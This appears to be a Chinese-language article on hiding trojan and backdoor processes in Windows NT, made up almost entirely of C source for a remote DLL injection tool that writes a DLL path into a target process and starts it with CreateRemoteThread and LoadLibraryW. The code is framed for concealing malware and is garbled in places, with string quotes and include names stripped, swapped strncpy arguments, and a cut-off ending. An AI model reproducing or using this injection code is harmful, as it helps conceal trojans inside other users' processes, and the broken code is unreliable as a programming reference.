木马/后门程序在WINNT中进程隐藏及查找的方法

　　#include

　　#include

　　DWORD ProcessToPID( char *); //将进程名转换为PID的函数

　　void CheckError ( int, int, char *); //出错处理函数

　　void usage ( char *); //使用说明函数

　　PDWORD pdwThreadId;

　　HANDLE hRemoteThread, hRemoteProcess;

　　DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

　　PWSTR pszLibFileRemote=NULL;

　　void main(int argc,char **argv)

　　{

　　int iReturnCode;

　　char lpDllFullPathName[MAX_PATH];

　　WCHAR pszLibFileName[MAX_PATH]={0};

　　//处理命令行参数

　　if (argc!=3) usage(Parametes number incorrect!);

　　else{

　　//如果输入的是进程名，则转化为PID

　　if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);

　　else dwRemoteProcessId = ProcessToPID(argv[1]);

　　//判断输入的DLL文件名是否是绝对路径

　　if(strstr(argv[2],:)!=NULL)

　　strncpy(argv[2], lpDllFullPathName, MAX_PATH);

　　else

　　{ //取得当前目录，将相对路径转换成绝对路径

　　iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);

　　CheckError(iReturnCode, 0, GetCurrentDirectory);

　　strcat(lpDllFullPathName, );

　　strcat(lpDllFullPathName, argv[2]);

　　printf(Convert DLL filename to FullPathName:nt%snn,

　　lpDllFullPathName);

　　}

　　//判断DLL文件是否存在

　　iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);

　　CheckError(iReturnCode, HFILE_ERROR, DLL File not Exist);

　　//将DLL文件全路径的ANSI码转换成UNICODE码

　　iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

　　lpDllFullPathName, strlen(lpDllFullPathName),

　　pszLibFileName, MAX_PATH);

　　CheckError(iReturnCode, 0, MultByteToWideChar);

　　//输出最后的操作参数

　　wprintf(LWill inject %s, pszLibFileName);

　　printf( into process:%s PID=%dn, argv[1], dwRemoteProcessId);

　　}

　　//打开远程进程

　　hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程

　　PROCESS_VM_OPERATION | //允许VM操作

　　PROCESS_VM_WRITE, //允许VM写

　　FALSE, dwRemoteProcessId );

　　CheckError( (int) hRemoteProcess, NULL,

　　Remote Process not Exist or Access Denied!);

　　//计算DLL路径名需要的内存空间

　　int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

　　pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

　　MEM_COMMIT, PAGE_READWRITE);

　　CheckError((int)pszLibFileRemote, NULL, VirtualAllocEx);

　　//将DLL的路径名复制到远程进程的内存空间

　　iReturnCode = WriteProcessMemory(hRemoteProcess,

　　pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

　　CheckError(iReturnCode, false, WriteProcessMemory);

　　//计算LoadLibraryW的入口地址

　　PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

　　GetProcAddress(GetModuleHandle(TEXT(Kernel32)), LoadLibraryW);

　　CheckError((int)pfnStartAddr, NULL, GetProcAddress);

　　//启动远程线程，通过远程线程调用用户的DLL文件

　　hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

　　CheckError((int)hRemoteThread, NULL, Create Remote Thread);

　　//等待远程线程退出

　　WaitForSingleObject(hRemoteThread, INFINITE);

　　//清场处理

　　if (pszLibFileRemote != NULL)

　　VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

　　if (hRemoteThread != NULL) CloseHandle(hRemoteThread );

　　if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

　　}//end of main()

　　//将进程名转换为PID的函数

　　DWORD ProcessToPID(char *InputProcessName)

　　{

　　DWORD aProcesses[1024], cbNeeded, cProcesses;

　　unsigned int i;

　　HANDLE hProcess;

　　HMODULE hMod;

　　char szProcessName[MAX_PATH] = UnknownProcess;